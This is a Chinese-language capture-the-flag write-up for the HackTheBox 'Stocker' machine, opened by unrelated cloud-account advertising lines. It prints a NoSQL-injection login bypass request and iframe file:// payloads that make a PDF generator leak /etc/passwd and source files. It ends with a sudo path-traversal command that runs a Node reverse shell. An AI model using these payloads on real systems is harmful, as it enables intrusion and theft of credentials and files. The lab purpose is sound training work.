HackTheBox Stocker API滥用,CVE-2020-24815获取用户shell,目录遍历提权
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
靶机地址
https://app.hackthebox.com/machines/Stocker
枚举
使用nmap枚举靶机
nmap -sC -sV 10.10.11.196
机子开放了2280端口我们本地解析一下这个域名
echo "10.10.11.196 stocker.htb" >> /etc/hosts
去浏览器访问这个网站
发现只是一个单一的网页并没有其他的功能插件也很少
现在扫一下目录和子域名但是目录并没有扫到什么有用的东西
但是扫描到一个子域名
./gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u stocker.htb
本地dns解析后去访问这个子域名
echo "10.10.11.196 dev.stocker.htb" >> /etc/hosts
CVE-2020-24815获取用户shell
这是一个登录页面
多半是用nodejs写的
然后我扫描了一下目录没有什么可以利用的东西
看了就是要想办法去突破这个登录页面了网站是nodejs写的然后我去Google上搜索了一下关于nodejssql注入的内容然后发现了这篇文章
https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass
我们可以尝试绕过这个登录页面启动burp然后抓登录包
需要把Content-Type标头改为json数据然后在下面输入payload
POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dev.stocker.htb
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dev.stocker.htb/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3A0B2QllbQJO8s_zE5apJUSgndnyzmdVi3.USjl%2BHhDYbne%2BUwk2861GQIHQ84D5cK%2FIgJhJl%2Bo5sY
Connection: close
{"username": {"$ne": null}, "password": {"$ne": null} }
成功登录我们这是一个购物网站现在买一个东西看看有没有突破点
提交订单后它会生成一个pdf文件
到这里我测试了很多东西这个购物网站的功能很少页面也很少sqlrce什么的都测试了一下还是不行我会看burp的http历史的时候发现了一个api请求
这是我们提交商品的时候请求的信息之后就会生成一个pdf文件我尝试修改了一下title标签发现生成的pdf文件对应的地方也会变
这里我想到了很多种漏洞的利用我把pdf下载下来然后用exiftools工具分析后发现了突破点
https://techkranti.com/ssrf-aws-metadata-leakage/
https://www.triskelelabs.com/blog/extracting-your-aws-access-keys-through-a-pdf-file
它存在ssrf漏洞可以通过一些特定的方式来读取本地上的文件
现在我们尝试读取一下靶机上的/etc/passwd文件
<iframe src=file:///etc/passwd height=1050px width=800px</iframe>
成功利用了现在我们读取一下nginx的默认配置
<iframe src=file:///etc/nginx/nginx.conf height=1050px width=800px</iframe>
这个网站的源代码在/var/www/dev目录下我们读取一些配置文件看看能不能找到什么有用的东西
<iframe src=file:var/www/dev/index.js height=1050px width=800px</iframe>
通过前面读取/etc/passwd发现这个机子上有两个普通用户一个是mongodb一个是angoose我们读取了配置文件发现了一个疑似密码的字符串
但是mongodb用户无法用这个密码登录上angoose可以
目录遍历提权
在日常查看用户能用sudo命令运行什么工具时发现了突破点
我们可以用sudo命令运行node工具执行在/usr/loacl/scripts目录下的文件但是我们可以用目录遍历来绕过这个限制
我们在这个网站上生成一个nodejs的rev shellcode
https://www.revshells.com/
然后在当前目录下创建一个.js文件将这些代码粘贴进去即可
touch baimao.js
nc监听端口
回到靶机执行命令
sudo node /usr/local/scripts/../../../home/angoose/baimao.js